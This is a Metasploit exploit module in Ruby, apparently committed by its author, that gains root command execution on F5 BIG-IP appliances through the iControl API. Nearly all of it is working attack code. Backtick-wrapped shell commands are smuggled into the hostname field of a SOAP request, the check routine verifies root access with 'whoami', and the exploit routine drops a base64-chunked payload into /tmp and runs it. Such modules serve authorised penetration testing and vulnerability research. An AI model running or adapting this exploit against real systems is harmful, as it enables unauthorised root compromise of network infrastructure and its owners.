Create f5_icontrol_exec.rb
Brandon Perry
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21cdaa4f39
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161a145ec2
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking # Configuration is overwritten and service reloaded
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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def initialize(info={})
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super(update_info(info,
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'Name' => "F5 iControl Remote Root Command Execution",
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'Description' => %q{
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This module exploits an authenticated remote command execution
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vulnerability in the F5 BIGIP iControl API.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'bperry' # Discovery, Metasploit module
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],
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'References' =>
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[
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],
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'Platform' => ['unix'],
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'Arch' => ARCH_CMD,
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'Targets' =>
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[
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['F5 iControl', {}]
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],
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'Privileged' => true,
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'DisclosureDate' => "Sep 17 2013",
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(443),
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OptBool.new('SSL', [true, 'Use SSL', true]),
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OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']),
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OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),
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OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin'])
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], self.class)
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end
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def check
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basic_auth = Rex::Text.encode_base64(datastore['USERNAME']+':'+datastore['PASSWORD'])
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get_hostname = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
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<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
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<SOAP-ENV:Body>
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<n1:get_hostname xmlns:n1="urn:iControl:System/Inet" />
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</SOAP-ENV:Body>
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</SOAP-ENV:Envelope>
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}
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
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'method' => 'POST',
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'headers' => {
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'Authorization' => 'Basic ' + basic_auth
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},
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'data' => get_hostname
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})
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res.body =~ /y:string">(.*)<\/return/
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hostname = $1
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send_cmd("whoami")
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
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'method' => 'POST',
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'headers' => {
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'Authorization' => 'Basic ' + basic_auth
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},
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'data' => get_hostname
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})
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res.body =~ /y:string">(.*)<\/return/
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new_hostname = $1
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if new_hostname == "root.a.b"
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pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
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<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
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<SOAP-ENV:Body>
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<n1:set_hostname xmlns:n1="urn:iControl:System/Inet">
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<hostname>#{hostname}</hostname>
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</n1:set_hostname>
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</SOAP-ENV:Body>
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</SOAP-ENV:Envelope>
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}
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send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
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'method' => 'POST',
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'headers' => {
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'Authorization' => 'Basic ' + basic_auth
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},
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'data' => pay
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})
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def send_cmd(cmd)
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basic_auth = Rex::Text.encode_base64(datastore['USERNAME']+':'+datastore['PASSWORD'])
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pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
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<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
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<SOAP-ENV:Body>
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<n1:set_hostname xmlns:n1="urn:iControl:System/Inet">
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<hostname>`#{cmd}`.a.b</hostname>
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</n1:set_hostname>
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</SOAP-ENV:Body>
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</SOAP-ENV:Envelope>
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}
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send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
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'method' => 'POST',
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'headers' => {
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'Authorization' => 'Basic ' + basic_auth
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},
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'data' => pay
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})
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end
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def exploit
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filename = Rex::Text.rand_text_alpha_lower(5)
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print_status('Sending payload in chunks, might take a small bit...')
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i = 0
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while i < payload.encoded.length
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cmd = "echo #{Rex::Text.encode_base64(payload.encoded[i..i+4])}|base64 --decode|tee -a /tmp/#{filename}"
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send_cmd(cmd)
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i = i + 5
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end
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print_status('Triggering payload...')
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send_cmd("sh /tmp/#{filename}")
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end
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end
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